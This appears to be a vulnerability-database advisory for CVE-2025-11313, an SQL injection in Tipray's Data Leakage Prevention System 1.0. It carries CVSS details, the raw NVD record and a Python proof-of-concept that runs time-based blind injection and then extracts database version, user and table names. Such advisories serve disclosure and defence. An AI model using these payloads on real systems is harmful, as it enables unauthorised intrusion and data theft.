Security Vulnerability Report
中文
CVE-2025-11313 CVSS 7.3 HIGH

CVE-2025-11313

Published: 2025-10-06 02:15:40
Last Modified: 2026-04-29 01:00:02

Description

A flaw has been found in Tipray 厦门天锐科技股份有限公司 Data Leakage Prevention System 天锐数据泄露防护系统 1.0. This impacts the function findRolePage of the file findRolePage.do. This manipulation of the argument sort causes sql injection. The attack may be initiated remotely. The exploit has been published and may be used. The vendor was contacted early about this disclosure but did not respond in any way.

CVSS Details

CVSS Score
7.3
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L

Configurations (Affected Products)

cpe:2.3:a:tipray:data_leakage_prevention_system:1.0:*:*:*:*:*:*:* - VULNERABLE
天锐数据泄露防护系统 (Tipray Data Leakage Prevention System) 1.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-11313 - Tipray DLP System SQL Injection PoC # Vulnerability: SQL Injection via 'sort' parameter in findRolePage.do # Affected: Tipray Data Leakage Prevention System v1.0 import requests import sys TARGET_URL = sys.argv[1] if len(sys.argv) > 1 else "http://target.com" VULNERABLE_ENDPOINT = "/findRolePage.do" # SQL Injection payload targeting the 'sort' parameter # Using time-based blind injection to confirm vulnerability def check_vulnerability(base_url): """Check if the target is vulnerable to SQL injection""" url = f"{base_url}{VULNERABLE_ENDPOINT}" # Normal request for baseline normal_params = { "page": "1", "limit": "10", "sort": "id", "order": "asc" } # Malicious payload - time-based blind SQL injection malicious_params = { "page": "1", "limit": "10", "sort": "id,(SELECT(CASE WHEN (1=1) THEN SLEEP(5) ELSE 0 END))", "order": "asc" } try: # Test normal response time normal_response = requests.get(url, params=normal_params, timeout=10) normal_time = normal_response.elapsed.total_seconds() # Test malicious response time malicious_response = requests.get(url, params=malicious_params, timeout=15) malicious_time = malicious_response.elapsed.total_seconds() print(f"[*] Normal response time: {normal_time}s") print(f"[*] Malicious response time: {malicious_time}s") if malicious_time - normal_time > 4: print("[+] Target is VULNERABLE to SQL Injection!") return True else: print("[-] Target does not appear vulnerable") return False except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") return False def exploit_data_extraction(base_url): """Extract database information via UNION-based SQL injection""" url = f"{base_url}{VULNERABLE_ENDPOINT}" # UNION-based injection payload payloads = [ # Extract database version "id,version()", # Extract current database "id,database()", # Extract current user "id,user()", # Extract table names "id,(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database())", ] for payload in payloads: params = { "page": "1", "limit": "10", "sort": payload, "order": "asc" } try: response = requests.get(url, params=params, timeout=10) print(f"[*] Payload: {payload}") print(f"[*] Response: {response.text[:500]}") print("-" * 50) except requests.exceptions.RequestException as e: print(f"[!] Error with payload {payload}: {e}") if __name__ == "__main__": print(f"[*] Targeting: {TARGET_URL}") if check_vulnerability(TARGET_URL): print("[*] Attempting data extraction...") exploit_data_extraction(TARGET_URL)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-11313", "sourceIdentifier": "[email protected]", "published": "2025-10-06T02:15:39.503", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A flaw has been found in Tipray 厦门天锐科技股份有限公司 Data Leakage Prevention System 天锐数据泄露防护系统 1.0. This impacts the function findRolePage of the file findRolePage.do. This manipulation of the argument sort causes sql injection. The attack may be initiated remotely. The exploit has been published and may be used. The vendor was contacted early about this disclosure but did not respond in any way."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 3.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "baseScore": 7.5, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "NONE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "HIGH", "exploitabilityScore": 10.0, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-74"}, {"lang": "en", "value": "CWE-89"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:tipray:data_leakage_prevention_system:1.0:*:*:*:*:*:*:*", "matchCriteriaId": "25FED908-237A-432E-9605-57E982321BD3"}]}]}], "references": [{"url": "https://github.com/FightingLzn9/vul/blob/main/%E5%A4%A9%E9%94%90%E6%95%B0%E6%8D%AE%E6%B3%84%E9%9C%B2%E9%98%B2%E6%8A%A4%E7%B3%BB%E7%BB%9F-5.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://vuldb.com/?ctiid.327194", "source": "[email protected]", "tags": ["Permissions Required", "VDB Entry"]}, {"url": "https://vuldb.com/?id.327194", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}, {"url": "https://vuldb.com/?submit.663475", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}]}}